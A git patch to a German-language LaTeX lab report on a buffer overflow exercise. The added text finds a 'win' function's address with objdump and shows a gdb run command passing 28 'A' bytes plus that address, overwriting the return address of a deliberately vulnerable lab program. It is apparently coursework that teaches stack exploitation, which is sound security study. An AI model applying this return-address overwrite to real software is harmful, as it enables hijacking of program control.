From d2e9b0a7028c70d684a58d893c04f1e674644e61 Mon Sep 17 00:00:00 2001 From: Florian Hoss Date: Mon, 25 Apr 2022 21:18:05 +0200 Subject: [PATCH] don't stop the time... i wasn't having a break, this is how long it took! --- .../bufferOverflow/bufferOverflow.tex | 22 ++++++++++++------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/Lab02/documentation/bufferOverflow/bufferOverflow.tex b/Lab02/documentation/bufferOverflow/bufferOverflow.tex index 8cbbca7..00be340 100644 --- a/Lab02/documentation/bufferOverflow/bufferOverflow.tex +++ b/Lab02/documentation/bufferOverflow/bufferOverflow.tex @@ -51,19 +51,12 @@ Zum debuggen wird der Befehl \verb|gdb bufferOverflow| eingegeben. Damit wird de Wenn man den Breakpoint auf \verb|calculate()| setzt, einen schritt über \verb|strcpy(name,text)| macht, bekommt man einen Segmentation fault. -\subsection{Stack} +\subsection{Versuchen zu gewinnen} Hinweis: \verb|"A" ASCII| wird als \verb|0x41| geschrieben. Hinweis: \verb|"B" ASCII| wird als \verb|0x42| geschrieben. -Abstand zwischen name (\verb|0xbffff2a0|) und input (\verb|0xbffff2b4|) sind 20 Byte. Jeder Int belegt 4 Byte auf dem Stack. Somit müsste man \[20 + 6 * 4 Byte = 44 Byte\] mit Zahlen belegen damit man immer gewinnt. - -\begin{verbatim} -argv[1]: AAAAAAAAAAAAAAAA (16 Byte) -+ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB (44 Byte) -\end{verbatim} - \begin{verbatim} Username: Florian Input1: 1 @@ -71,6 +64,19 @@ Input2: 1 Input3: 1 \end{verbatim} +Speicheraddresse der Zeile 60 herausfinden, in der die Win-Funktion aufgerufen wird: + +\begin{verbatim} +objdump -d ./bufferOverflow | grep win +0x08048807: 80485a4 +\end{verbatim} + +Dann GDB \verb|gdb bufferOverflow| mit folgenden Befehl ausführen + +\verb|r $(python -c " print('A'*28+'\x07\x88\x04\x08')")| + +damit 28x'A' und die Adresse der Win-Funktion als argument der Software mitgegeben wird. + \begin{tabular}{|l|l||r|r|} \hline \multicolumn{2}{|c||}{\textbf{Basic Information}} & \multicolumn{2}{c|}{\textbf{Values at Line}} \\